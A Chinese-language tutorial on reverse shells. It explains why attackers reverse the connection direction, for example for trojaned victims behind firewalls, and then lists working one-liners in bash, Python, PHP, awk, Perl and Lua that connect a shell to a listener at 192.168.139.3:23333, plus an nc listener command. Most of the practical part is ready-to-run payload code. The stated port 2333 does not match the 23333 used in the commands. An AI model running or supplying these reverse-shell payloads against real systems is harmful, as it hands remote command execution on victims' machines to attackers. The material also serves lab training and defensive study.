什么是反弹shell
reverse shell,就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。reverse shell与telnet,ssh等标准shell对应,本质上是网络概念的客户端与服务端的角色反转。
为什么要用反弹shell
通常用于被控端因防火墙受限、权限不足、端口被占用等情形
假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器(目标ip:目标机器端口),这是比较常规的形式,我们叫做正向连接。远程桌面,web服务,ssh,telnet等等,都是正向连接。那么什么情况下正向连接不太好用了呢?
1.某客户机中了你的网马,但是它在局域网内,你直接连接不了。
2.它的IP地址是浮动的,不能持续监听控制。
3.由于防火墙等限制,对方机器只能发送请求,不能接收请求。
4.对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机,都是未知,所以建立一个服务端,让恶意程序主动连接,才是上策。
我们可以这样来理解,TCP中攻击端(男)与靶机(女)建立连接就像是男女间恋爱一样,男生主动向女生发消息就叫正向连接。
女生主动向男生发消息就像反弹连接
反弹shell实验环境
服务端:kali IP地址为:192.168.139.3 开放端口为:2333
客户端:centos7
Bash脚本反弹shell
服务端监听将要连接的端口:2333
root@kali:~/桌面# nc -lvp 23333
客户端向服务端(192.168.139.3:23333)发起tcp连接
[root@localhost ~]# bash -i >& /dev/tcp/192.168.139.3/23333 0>&1
回到kali中输入ifconfig查看网络状态,可以发现此时的shell变成了centos7中的了
使用wireshark抓包分析
Python一句话反弹
[root@test ~]# python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.139.3",23333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
PHP一句反弹shell
[root@test ~]# php -r '$sock=fsockopen("192.168.139.3",23333);exec("/bin/sh -i <&3 >&3 2>&3");'
Awk反弹
awk 'BEGIN{s="/inet/tcp/0/192.168.139.3/23333";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}'
Perl脚本反弹
perl -e 'use Socket;$i="x.x.x.x";$p=23333;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
lua脚本反弹
lua -e "require('socket');require('os');t=socket.tcp();t:connect('x.x.x.x','23333');os.execute('/bin/sh -i <&3 >&3 2>&3');"